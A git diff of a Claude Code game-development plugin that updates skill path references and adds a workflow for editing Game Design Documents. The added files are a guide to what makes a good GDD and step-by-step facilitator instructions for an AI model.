diff --git a/plugins/bmad/skills/gds-document-project/SKILL.md b/plugins/bmad/skills/gds-document-project/SKILL.md
index d1f679b..574554e 100644
--- a/plugins/bmad/skills/gds-document-project/SKILL.md
+++ b/plugins/bmad/skills/gds-document-project/SKILL.md
@@ -3,4 +3,4 @@ name: gds-document-project
 description: 'Analyze existing game projects to produce useful documentation. Use when the user says "document project" or "generate docs"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-document-project/instructions.md b/plugins/bmad/skills/gds-document-project/instructions.md
index f0b384b..2456ce5 100644
--- a/plugins/bmad/skills/gds-document-project/instructions.md
+++ b/plugins/bmad/skills/gds-document-project/instructions.md
@@ -1,7 +1,7 @@
 # Document Project Workflow Router
 
-<critical>The workflow execution engine is governed by: ${CLAUDE_PLUGIN_ROOT}/_shared/tasks/workflow.xml</critical>
-<critical>You MUST have already loaded and processed: ${CLAUDE_PLUGIN_ROOT}/skills/gds-document-project/SKILL.md</critical>
+<critical>The workflow execution engine is governed by: skill:bmad-workflow</critical>
+<critical>You MUST have already loaded and processed: {installed_path}/workflow.yaml</critical>
 <critical>Communicate all responses in {communication_language}</critical>
 
 <workflow>
@@ -10,7 +10,7 @@
 
 <step n="1" goal="Validate workflow and get project info">
 
-<invoke-workflow path="{project-root}/_bmad/gds/workflows/workflow-status">
+<invoke-workflow path="skill:gds-workflow-status">
   <param>mode: data</param>
   <param>data_request: project_config</param>
 </invoke-workflow>
@@ -36,7 +36,7 @@
   </check>
 
   <!-- Now validate sequencing -->
-  <invoke-workflow path="{project-root}/_bmad/gds/workflows/workflow-status">
+  <invoke-workflow path="skill:gds-workflow-status">
     <param>mode: validate</param>
     <param>calling_workflow: document-project</param>
   </invoke-workflow>
@@ -178,7 +178,7 @@ Your choice [1/2/3]:
 <step n="4" goal="Update status and complete">
 
 <check if="status_file_found == true">
-  <invoke-workflow path="{project-root}/_bmad/gds/workflows/workflow-status">
+  <invoke-workflow path="skill:gds-workflow-status">
     <param>mode: update</param>
     <param>action: complete_workflow</param>
     <param>workflow_name: document-project</param>
diff --git a/plugins/bmad/skills/gds-document-project/workflows/deep-dive-workflow.md b/plugins/bmad/skills/gds-document-project/workflows/deep-dive-workflow.md
index 92d2506..ee88ad2 100644
--- a/plugins/bmad/skills/gds-document-project/workflows/deep-dive-workflow.md
+++ b/plugins/bmad/skills/gds-document-project/workflows/deep-dive-workflow.md
@@ -16,7 +16,7 @@ description: 'Exhaustive deep-dive documentation of specific project areas'
 
 ### Configuration Loading
 
-Load config from `.claude/bmad.local.md` and resolve:
+Load config from `{module_config}` and resolve:
 
 - `project_knowledge`
 - `user_name`
@@ -24,10 +24,10 @@ Load config from `.claude/bmad.local.md` and resolve:
 
 ### Paths
 
-- `installed_path` = `${CLAUDE_PLUGIN_ROOT}/skills/gds-document-project/workflows`
+- `installed_path` = `../workflows`
 - `instructions` = `{installed_path}/deep-dive-instructions.md`
-- `validation` = `${CLAUDE_PLUGIN_ROOT}/skills/gds-document-project/checklist.md`
-- `deep_dive_template` = `${CLAUDE_PLUGIN_ROOT}/skills/gds-document-project/templates/deep-dive-template.md`
+- `validation` = `../checklist.md`
+- `deep_dive_template` = `../templates/deep-dive-template.md`
 
 ### Runtime Inputs
 
diff --git a/plugins/bmad/skills/gds-document-project/workflows/full-scan-workflow.md b/plugins/bmad/skills/gds-document-project/workflows/full-scan-workflow.md
index cfbf257..b5a6661 100644
--- a/plugins/bmad/skills/gds-document-project/workflows/full-scan-workflow.md
+++ b/plugins/bmad/skills/gds-document-project/workflows/full-scan-workflow.md
@@ -15,7 +15,7 @@ description: 'Complete project documentation workflow (initial scan or full resc
 
 ### Configuration Loading
 
-Load config from `.claude/bmad.local.md` and resolve:
+Load config from `{module_config}` and resolve:
 
 - `project_knowledge`
 - `user_name`
@@ -23,10 +23,10 @@ Load config from `.claude/bmad.local.md` and resolve:
 
 ### Paths
 
-- `installed_path` = `${CLAUDE_PLUGIN_ROOT}/skills/gds-document-project/workflows`
+- `installed_path` = `../workflows`
 - `instructions` = `{installed_path}/full-scan-instructions.md`
-- `validation` = `${CLAUDE_PLUGIN_ROOT}/skills/gds-document-project/checklist.md`
-- `documentation_requirements_csv` = `${CLAUDE_PLUGIN_ROOT}/skills/gds-document-project/documentation-requirements.csv`
+- `validation` = `../checklist.md`
+- `documentation_requirements_csv` = `../documentation-requirements.csv`
 
 ### Runtime Inputs
 
diff --git a/plugins/bmad/skills/gds-e2e-scaffold/SKILL.md b/plugins/bmad/skills/gds-e2e-scaffold/SKILL.md
index f761943..27306a7 100644
--- a/plugins/bmad/skills/gds-e2e-scaffold/SKILL.md
+++ b/plugins/bmad/skills/gds-e2e-scaffold/SKILL.md
@@ -3,4 +3,4 @@ name: gds-e2e-scaffold
 description: 'Scaffold end-to-end testing infrastructure. Use when the user says "e2e scaffold" or "set up e2e testing"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-edit-gdd/SKILL.md b/plugins/bmad/skills/gds-edit-gdd/SKILL.md
new file mode 100644
index 0000000..7385320
--- /dev/null
+++ b/plugins/bmad/skills/gds-edit-gdd/SKILL.md
@@ -0,0 +1,6 @@
+---
+name: gds-edit-gdd
+description: 'Edit an existing Game Design Document. Use when the user says "edit this GDD" or "improve this GDD".'
+---
+
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-edit-gdd/data/gdd-purpose.md b/plugins/bmad/skills/gds-edit-gdd/data/gdd-purpose.md
new file mode 100644
index 0000000..d4a374f
--- /dev/null
+++ b/plugins/bmad/skills/gds-edit-gdd/data/gdd-purpose.md
@@ -0,0 +1,224 @@
+# BMAD GDD Purpose
+
+**The GDD is the primary planning artifact in the Game Dev Studio (GDS) module. It feeds every downstream phase: architecture, epics, production, and playtesting.**
+
+In GDS, the PRD is optional and exists only for external-tool compatibility. The GDD is the canonical source of truth for game design intent.
+
+---
+
+## What is a BMAD GDD?
+
+A dual-audience document serving:
+
+1. **Human game designers, producers, and developers** - Vision, pillars, team alignment, playtest briefs
+2. **LLM downstream consumption** - Architecture → Epics → Dev stories → Playtest plans → Game Dev AI Agents
+
+Each successive artifact becomes more granular and more AI-tailored. The GDD is where the design intent is captured in its purest form, before engine and implementation concerns enter the picture.
+
+---
+
+## Core Philosophy: Information Density
+
+**High Signal-to-Noise Ratio on Game Mechanics**
+
+Every sentence must carry design information. LLMs consume precise, dense content efficiently - and game design already suffers from pitch-deck-style fluff.
+
+**Anti-Patterns (Eliminate These):**
+
+- ❌ "The player will be able to..." → ✅ "The player can..."
+- ❌ "It is our intention to create a game that..." → ✅ State the design directly
+- ❌ "Players will experience fun and engaging gameplay" → ✅ Describe the specific mechanic that produces engagement
+- ❌ Marketing copy and pitch language → ✅ Concrete mechanics, systems, and numbers
+
+**Goal:** Maximum design information per word. Zero fluff, zero marketing.
+
+---
+
+## The Traceability Chain
+
+**GDD starts the chain:**
+
+```
+Core Fantasy / Vision → Game Pillars → Core Gameplay Loop → Mechanics & Systems → Epics → Stories
+```
+
+**In the GDD, establish:**
+
+- Vision → Pillars alignment
+- Pillars → Gameplay Loop reinforcement (the loop should embody the pillars)
+- Gameplay Loop → Mechanics mapping (each mechanic serves the loop)
+- Mechanics → Epics (each epic delivers mechanics)
+- All content traceable to the core fantasy
+
+**Why:** Every downstream artifact (architecture, epics, stories, playtest plans) must trace back to documented design intent. This chain is what prevents scope creep, feature bloat, and mechanics that exist for their own sake.
+
+---
+
+## What Makes Great Mechanics and Systems?
+
+### Mechanics are Player-Facing Capabilities, Not Implementation
+
+**Good:** "The player can dash in any of 8 directions, consuming 1 stamina pip. Stamina regenerates at 1 pip/second while grounded."
+**Bad:** "We use a Rigidbody2D with AddForce and a cooldown coroutine" (engine leakage - belongs in architecture)
+
+**Good:** "Frame-perfect parries reward a 1.5x damage multiplier for 3 seconds."
+**Bad:** "Combat feels responsive and satisfying" (subjective, unmeasurable)
+
+### SMART Quality Criteria (Adapted for Game Design)
+
+**Specific:** Clear, precisely defined mechanic or system
+**Measurable:** Quantifiable values (timings, damages, costs, ranges)
+**Attainable:** Realistic within target platform, team, and timeline
+**Relevant:** Reinforces a game pillar or the core loop
+**Traceable:** Links to the vision, a pillar, or a specific player fantasy
+
+### Mechanics Anti-Patterns
+
+**Subjective Adjectives:**
+
+- ❌ "fun", "satisfying", "immersive", "responsive", "deep"
+- ✅ Use concrete values: "chain combos extend the hit window by 6 frames per successful hit"
+
+**Engine / Implementation Leakage:**
+
+- ❌ Engine APIs, node names, specific shaders, class hierarchies
+- ✅ Focus on player experience and system behavior - the engine is architecture's problem
+
+**Vague Quantifiers:**
+
+- ❌ "many enemies", "several weapons", "various environments"
+- ✅ "12 enemy archetypes", "6 primary weapons + 18 unlockable variants", "3 biomes × 4 sub-zones"
+
+**Missing Feel Criteria:**
+
+- ❌ "The jump feels good"
+- ✅ "Jump height: 3 tiles. Air time: 0.55s. Coyote time: 6 frames. Buffer window: 8 frames."
+
+---
+
+## What Makes Great Technical Constraints?
+
+### Target Specs Must Be Measurable
+
+**Template:**
+
+```
+"The game shall [metric] [platform/condition] [measurement method]"
+```
+
+**Examples:**
+
+- ✅ "Maintain 60 FPS sustained on Steam Deck at 720p Medium settings, as measured by in-engine profiler over a 10-minute combat loop"
+- ✅ "First-playable load time under 15s on PS5 from cold boot"
+- ✅ "Memory budget: 4GB on PS4, 6GB on PS5, as measured by PIX capture"
+
+### Constraint Anti-Patterns
+
+**Unmeasurable Claims:**
+
+- ❌ "Runs well on all platforms" → ✅ "60 FPS on PS5/XSX, 30 FPS on PS4/XB1"
+- ❌ "Fast load times" → ✅ "Sub-5-second level transitions on target hardware"
+
+**Missing Context:**
+
+- ❌ "60 FPS target" → ✅ "60 FPS during combat encounters with up to 6 enemies on-screen, measured on Steam Deck"
+
+---
+
+## Genre-Specific Requirements
+
+**Auto-Detect and Enforce Based on Game Type**
+
+Certain genres carry conventions that must be documented:
+
+- **Action/Platformer:** Precise movement values (jump arc, coyote time, input buffer), hit/hurt box conventions, damage formulae
+- **RPG:** Stat system, leveling curve, inventory rules, quest state machine, save/load boundaries
+- **Roguelike:** Run structure, meta-progression rules, seed determinism, balance bands
+- **Multiplayer (MOBA/Shooter):** Netcode model (lockstep/rollback/client-predict), tick rate, lag tolerance, matchmaking
+- **Puzzle:** Solution space guarantees, hint systems, difficulty ramp
+- **Narrative/Visual Novel:** Branching structure, variable/flag system, rewind/save model
+
+**Why:** Missing genre conventions in the GDD means they surface as emergencies during production. Validation should catch these up front. Steps use a `genre-complexity.csv` data file to drive genre-specific expectations.
+
+---
+
+## Document Structure (Markdown, Human-Readable)
+
+### Required Sections (canonical gds-create-gdd schema)
+
+1. **Executive Summary** - Core concept, target audience, USPs
+2. **Goals and Context** - Project goals, background, rationale
+3. **Core Gameplay** - Pillars, core gameplay loop, win/loss conditions
+4. **Game Mechanics** - Primary mechanics, controls and input
+5. **Game-Type Specific Sections** - Genre-driven sections (e.g., RPG stats, roguelike run structure)
+6. **Progression and Balance** - Player progression, difficulty curve, economy
+7. **Level Design Framework** - Level types, progression
+8. **Art and Audio Direction** - Visual style, audio approach
+9. **Technical Specifications** - Performance targets, platform specs, asset budget
+10. **Development Epics** - High-level delivery breakdown
+11. **Success Metrics** - Technical and gameplay success criteria
+12. **Out of Scope** - Explicit scope boundaries
+13. **Assumptions and Dependencies** - External risks
+
+### Formatting for Dual Consumption
+
+**For Humans:**
+
+- Clear, direct language - no pitch-deck bloat
+- Logical flow from vision to execution
+- Easy for producers, leads, and external collaborators to review
+
+**For LLMs:**
+
+- `##` Level 2 headers for all main sections (enables extraction)
+- Consistent structure and patterns
+- Concrete numbers wherever possible
+- High information density
+
+---
+
+## Downstream Impact
+
+**How the GDD Feeds Next Artifacts:**
+
+**Architecture:**
+
+- Mechanics → system design (physics, AI, state machines)
+- Technical specs → engine choice, rendering pipeline, memory layout
+- Genre conventions → framework decisions (netcode model, save system)
+
+**Epics & Stories:**
+
+- Mechanics → epics (1 mechanic often = 1 epic)
+- Level framework → content stories
+- Progression → systems stories
+- Traceability → stories map back to pillars
+
+**Playtesting / Gametest:**
+
+- Pillars → playtest focus areas
+- Success metrics → playtest success criteria
+- Core loop → the thing we're actually testing
+
+**Development AI Agents:**
+
+- Precise mechanics → implementation clarity
+- Measurable specs → automated performance gates
+- Genre conventions → framework selection
+- Success metrics → telemetry targets
+
+---
+
+## Summary: What Makes a Great BMAD GDD?
+
+✅ **High Information Density** - Every sentence carries design weight, zero pitch-deck fluff
+✅ **Measurable Mechanics** - Concrete numbers for timings, damages, costs, ranges
+✅ **Clear Traceability** - Each mechanic links to a pillar or core loop, each pillar to the vision
+✅ **Genre Awareness** - Genre-specific sections auto-detected and included
+✅ **Zero Anti-Patterns** - No subjective adjectives, no engine leakage, no vague quantifiers
+✅ **Dual Audience Optimized** - Human-readable AND LLM-consumable
+✅ **Markdown Format** - Professional, clean, accessible to designers and AI tools alike
+
+---
+
+**Remember:** The GDD is the foundation of GDS. Quality here ripples through architecture, epics, stories, and playtesting. A dense, precise, well-traced GDD makes every downstream phase dramatically more effective - and prevents the "we never actually decided what this game is" spiral that kills projects.
diff --git a/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-01-discovery.md b/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-01-discovery.md
new file mode 100644
index 0000000..3a1b8d4
--- /dev/null
+++ b/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-01-discovery.md
@@ -0,0 +1,264 @@
+---
+name: 'step-e-01-discovery'
+description: 'Discovery & Understanding - Understand what user wants to edit and detect GDD format'
+
+# File references (ONLY variables used in this step)
+altStepFile: './step-e-01b-legacy-conversion.md'
+nextStepFile: './step-e-02-review.md'
+gddPurpose: '../data/gdd-purpose.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
+---
+
+# Step E-1: Discovery & Understanding
+
+## STEP GOAL:
+
+Understand what the user wants to edit in the GDD, detect GDD format/type, check for validation report guidance, and route appropriately.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and GDD Improvement Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in collaborative dialogue, not command-response
+- ✅ You bring analytical expertise and game-design improvement guidance
+- ✅ User brings game vision, design intent, and edit requirements
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on discovering user intent and GDD format
+- 🚫 FORBIDDEN to make any edits yet
+- 💬 Approach: Inquisitive and analytical, understanding before acting
+- 🚪 This is a branch step - may route to legacy conversion
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Discover user's edit requirements
+- 🎯 Auto-detect validation reports in GDD folder (use as guide)
+- 🎯 Load validation report if provided (use as guide)
+- 🎯 Detect GDD format (canonical gds-create-gdd schema / legacy or external)
+- 🎯 Route appropriately based on format
+- 💾 Document discoveries for next step
+- 🚫 FORBIDDEN to proceed without understanding requirements
+
+## CONTEXT BOUNDARIES:
+
+- Available context: GDD file to edit, optional validation report, auto-detected validation reports
+- Focus: User intent discovery and format detection only
+- Limits: Don't edit yet, don't validate yet
+- Dependencies: None - this is first edit step
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Load GDD Purpose Standards
+
+Load and read the complete file at:
+`{gddPurpose}` (data/gdd-purpose.md)
+
+This file defines what makes a great BMAD GDD. Internalize this understanding - it will guide improvement recommendations.
+
+### 2. Discover GDD to Edit
+
+"**GDD Edit Workflow**
+
+Which GDD would you like to edit?
+
+Default location: `{planning_artifacts}/gdd.md`
+
+Provide the path to the GDD file you want to edit, or press Enter to use the default."
+
+**Wait for user to provide GDD path (or accept default).**
+
+### 3. Validate GDD Exists and Load
+
+Once GDD path is provided:
+
+- Check if GDD file exists at specified path
+- If not found, also try fuzzy match: `{planning_artifacts}/*gdd*.md`
+- If still not found: "I cannot find a GDD at that path. Please check the path and try again."
+- If found: Load the complete GDD file including frontmatter
+
+### 4. Check for Existing Validation Report
+
+**Check if validation report exists in the GDD folder:**
+
+```bash
+# Look for most recent validation report in the GDD folder
+ls -t {gdd_folder_path}/validation-report-*.md 2>/dev/null | head -1
+```
+
+**If validation report found:**
+
+Display:
+"**📋 Found Validation Report**
+
+I found a validation report from {validation_date} in the GDD folder.
+
+This report contains findings from previous validation checks and can help guide our edits to fix known issues.
+
+**Would you like to:**
+
+- **[U] Use validation report** - Load it to guide and prioritize edits
+- **[S] Skip** - Proceed with manual edit discovery"
+
+**Wait for user input.**
+
+**IF U (Use validation report):**
+
+- Load the validation report file
+- Extract findings, issues, and improvement suggestions
+- Note: "Validation report loaded - will use it to guide prioritized improvements"
+- Continue to step 5
+
+**IF S (Skip) or no validation report found:**
+
+- Note: "Proceeding with manual edit discovery"
+- Continue to step 5
+
+**If no validation report found:**
+
+- Note: "No validation report found in GDD folder"
+- Continue to step 5 without asking user
+
+### 5. Ask About Validation Report (Manual Path)
+
+"**Do you have a validation report to guide edits?**
+
+If you've run the validation workflow on this GDD, I can use that report to guide improvements and prioritize changes.
+
+Validation report path (or type 'none'):"
+
+**Wait for user input.**
+
+**If validation report path provided:**
+
+- Load the validation report
+- Extract findings, severity, improvement suggestions
+- Note: "Validation report loaded - will use it to guide prioritized improvements"
+
+**If no validation report:**
+
+- Note: "Proceeding with manual edit discovery"
+- Continue to step 6
+
+### 6. Discover Edit Requirements
+
+"**What would you like to edit in this GDD?**
+
+Describe the changes you want to make. For example:
+
+- Tighten specific sections (mechanics measurability, vision clarity, etc.)
+- Add missing sections or content (e.g., out-of-scope, success metrics)
+- Rework the core gameplay loop or pillars
+- Adjust progression and balance
+- Convert to canonical gds-create-gdd schema (if GDD came from an external tool)
+- Remove engine/implementation details that belong in architecture
+- General improvements
+
+**Describe your edit goals:**"
+
+**Wait for user to describe their requirements.**
+
+### 7. Detect GDD Format
+
+Analyze the loaded GDD:
+
+**Extract all ## Level 2 headers** from GDD
+
+**Check for canonical gds-create-gdd core sections:**
+
+1. Executive Summary
+2. Goals and Context
+3. Core Gameplay
+4. Game Mechanics
+5. Progression and Balance
+6. Technical Specifications
+7. Development Epics (or Epic Structure)
+
+**Classify format:**
+
+- **Canonical GDS Schema:** 6-7 core sections present, follows gds-create-gdd structure
+- **GDS Variant:** 4-5 core sections present, generally follows the pattern with gaps
+- **Legacy / External (Non-Standard):** Fewer than 4 core sections, from an external tool or legacy GDD template
+
+### 8. Route Based on Format and Context
+
+**IF validation report provided OR GDD is Canonical/Variant:**
+
+Display: "**Edit Requirements Understood**
+
+**GDD Format:** {classification}
+{If validation report: "**Validation Guide:** Yes - will use validation report findings"}
+**Edit Goals:** {summary of user's requirements}
+
+**Proceeding to deep review and analysis...**"
+
+Read fully and follow: {nextStepFile} (step-e-02-review.md)
+
+**IF GDD is Legacy (Non-Standard) AND no validation report:**
+
+Display: "**Format Detected:** Legacy / External GDD
+
+This GDD does not follow the canonical gds-create-gdd structure (only {count}/7 core sections present).
+
+**Your edit goals:** {user's requirements}
+
+**How would you like to proceed?**"
+
+Present MENU OPTIONS below for user selection
+
+### 9. Present MENU OPTIONS (Legacy GDDs Only)
+
+**[C] Convert to Canonical GDS Schema** - Convert GDD to gds-create-gdd structure, then apply your edits
+**[E] Edit As-Is** - Apply your edits without converting the format
+**[X] Exit** - Exit and review conversion options
+
+#### EXECUTION RULES:
+
+- ALWAYS halt and wait for user input
+- Only proceed based on user selection
+
+#### Menu Handling Logic:
+
+- IF C (Convert): Read fully and follow: {altStepFile} (step-e-01b-legacy-conversion.md)
+- IF E (Edit As-Is): Display "Proceeding with edits..." then read fully and follow: {nextStepFile}
+- IF X (Exit): Display summary and exit
+- IF Any other: help user, then redisplay menu
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- User's edit requirements clearly understood
+- Auto-detected validation reports loaded and analyzed (when found)
+- Manual validation report loaded and analyzed (if provided)
+- GDD format detected correctly against canonical gds-create-gdd schema
+- Canonical/Variant GDDs proceed directly to review step
+- Legacy/external GDDs pause and present conversion options
+- User can choose conversion path or edit as-is
+
+### ❌ SYSTEM FAILURE:
+
+- Not discovering user's edit requirements
+- Not auto-detecting validation reports in GDD folder
+- Not loading validation report when provided (auto or manual)
+- Missing format detection
+- Not pausing for legacy GDDs without guidance
+- Auto-proceeding without understanding intent
+
+**Master Rule:** Understand before editing. Detect format early so we can guide users appropriately. Auto-detect and use validation reports for prioritized improvements.
diff --git a/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-01b-legacy-conversion.md b/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-01b-legacy-conversion.md
new file mode 100644
index 0000000..29452eb
--- /dev/null
+++ b/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-01b-legacy-conversion.md
@@ -0,0 +1,226 @@
+---
+name: 'step-e-01b-legacy-conversion'
+description: 'Legacy GDD Conversion Assessment - Analyze legacy/external GDD and propose conversion strategy'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-e-02-review.md'
+gddFile: '{gdd_file_path}'
+gddPurpose: '../data/gdd-purpose.md'
+---
+
+# Step E-1B: Legacy GDD Conversion Assessment
+
+## STEP GOAL:
+
+Analyze a legacy or external-tool GDD against the canonical gds-create-gdd schema, identify gaps, propose a conversion strategy, and let the user choose how to proceed.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and GDD Improvement Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in collaborative dialogue, not command-response
+- ✅ You bring BMAD GDD standards expertise and conversion guidance
+- ✅ User brings game design knowledge and edit requirements
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on conversion assessment and proposal
+- 🚫 FORBIDDEN to perform conversion yet (that comes in the edit step)
+- 💬 Approach: Analytical gap analysis with clear recommendations
+- 🚪 This is a branch step - user chooses conversion path
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Analyze legacy GDD against canonical gds-create-gdd schema
+- 💾 Identify gaps and estimate conversion effort
+- 📖 Present conversion options with effort estimates
+- 🚫 FORBIDDEN to proceed without user selection
+
+## CONTEXT BOUNDARIES:
+
+- Available context: Legacy GDD, user's edit requirements, gdd-purpose standards
+- Focus: Conversion assessment only (not actual conversion)
+- Limits: Don't convert yet, don't validate yet
+- Dependencies: Step e-01 detected legacy format and routed here
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Attempt Sub-Process Assessment
+
+**Try to use Task tool with sub-agent:**
+
+"Perform legacy GDD conversion assessment:
+
+**Load the GDD and gdd-purpose.md**
+
+**For each canonical gds-create-gdd section, analyze:**
+
+1. Does the GDD have this section? (Executive Summary, Goals and Context, Core Gameplay, Game Mechanics, Progression and Balance, Technical Specifications, Development Epics)
+2. If present: Is it complete and well-structured?
+3. If missing: What content exists that could migrate to this section?
+4. Effort to create/complete: Minimal / Moderate / Significant
+
+**Identify:**
+
+- Core sections present: {count}/7
+- Content gaps in each section
+- Overall conversion effort: Quick / Moderate / Substantial
+- Recommended approach: Full restructuring vs targeted improvements
+
+Return conversion assessment with gap analysis and effort estimate."
+
+**Graceful degradation (if no Task tool):**
+
+- Manually check GDD for each canonical section
+- Note what's present and what's missing
+- Estimate conversion effort
+- Identify best conversion approach
+
+### 2. Build Gap Analysis
+
+**For each canonical gds-create-gdd core section:**
+
+**Executive Summary (core concept, target audience, USPs):**
+
+- Present: [Yes/No/Partial]
+- Gap: [what's missing or incomplete]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+**Goals and Context (project goals, background, rationale):**
+
+- Present: [Yes/No/Partial]
+- Gap: [what's missing or incomplete]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+**Core Gameplay (pillars, core loop, win/loss conditions):**
+
+- Present: [Yes/No/Partial]
+- Gap: [what's missing or incomplete]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+**Game Mechanics (primary mechanics, controls):**
+
+- Present: [Yes/No/Partial]
+- Gap: [what's missing or incomplete]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+**Progression and Balance (progression, difficulty curve, economy):**
+
+- Present: [Yes/No/Partial]
+- Gap: [what's missing or incomplete]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+**Technical Specifications (performance targets, platform specs):**
+
+- Present: [Yes/No/Partial]
+- Gap: [what's missing or incomplete]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+**Development Epics (high-level delivery breakdown):**
+
+- Present: [Yes/No/Partial]
+- Gap: [what's missing or incomplete]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+**Overall Assessment:**
+
+- Sections Present: {count}/7
+- Total Conversion Effort: [Quick/Moderate/Substantial]
+- Recommended: [Full restructuring / Targeted improvements]
+
+### 3. Present Conversion Assessment
+
+Display:
+
+"**Legacy GDD Conversion Assessment**
+
+**Current GDD Structure:**
+
+- Core sections present: {count}/7
+  {List which sections are present/missing}
+
+**Gap Analysis:**
+
+{Present gap analysis table showing each section's status and effort}
+
+**Overall Conversion Effort:** {effort level}
+
+**Your Edit Goals:**
+{Reiterate user's stated edit requirements}
+
+**Recommendation:**
+{Based on effort and user goals, recommend best approach}
+
+**How would you like to proceed?**"
+
+### 4. Present MENU OPTIONS
+
+**[R] Restructure to Canonical GDS Schema** - Full conversion to gds-create-gdd structure, then apply your edits
+**[I] Targeted Improvements** - Apply your edits to existing structure without restructuring
+**[E] Edit & Restructure** - Do both: convert format AND apply your edits
+**[X] Exit** - Review assessment and decide
+
+#### EXECUTION RULES:
+
+- ALWAYS halt and wait for user input
+- Only proceed based on user selection
+
+#### Menu Handling Logic:
+
+- IF R (Restructure): Note conversion mode, then load next step
+- IF I (Targeted): Note targeted mode, then load next step
+- IF E (Edit & Restructure): Note both mode, then load next step
+- IF X (Exit): Display summary, exit
+
+### 5. Document Conversion Strategy
+
+Store conversion decision for next step:
+
+- **Conversion mode:** [Full restructuring / Targeted improvements / Both]
+- **Edit requirements:** [user's requirements from step e-01]
+- **Gap analysis:** [summary of gaps identified]
+
+Display: "**Conversion Strategy Documented**
+
+Mode: {conversion mode}
+Edit goals: {summary}
+
+**Proceeding to deep review...**"
+
+Read fully and follow: {nextStepFile} (step-e-02-review.md)
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- All 7 canonical core sections analyzed for gaps
+- Effort estimates provided for each section
+- Overall conversion effort assessed correctly
+- Clear recommendation provided based on effort and user goals
+- User chooses conversion strategy (restructure/targeted/both)
+- Conversion strategy documented for next step
+
+### ❌ SYSTEM FAILURE:
+
+- Not analyzing all 7 core sections
+- Missing effort estimates
+- Not providing clear recommendation
+- Auto-proceeding without user selection
+- Not documenting conversion strategy
+
+**Master Rule:** Legacy GDDs need conversion assessment so users understand the work involved and can choose the best approach.
diff --git a/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-02-review.md b/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-02-review.md
new file mode 100644
index 0000000..9370f8e
--- /dev/null
+++ b/plugins/bmad/skills/gds-edit-gdd/steps-e/step-e-02-review.md
@@ -0,0 +1,264 @@
+---
+name: 'step-e-02-review'
+description: 'Deep Review & Analysis - Thoroughly review the existing GDD and prepare a detailed change plan'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-e-03-edit.md'
+gddFile: '{gdd_file_path}'
+validationReport: '{validation_report_path}'
+gddPurpose: '../data/gdd-purpose.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
+---
+
+# Step E-2: Deep Review & Analysis
+
+## STEP GOAL:
+
+Thoroughly review the existing GDD, analyze validation report findings (if provided), and prepare a detailed change plan before editing.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and GDD Improvement Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in collaborative dialogue, not command-response
+- ✅ You bring analytical expertise and improvement planning
+- ✅ User brings game vision and approval authority
+
+### Step-Specific Rules:
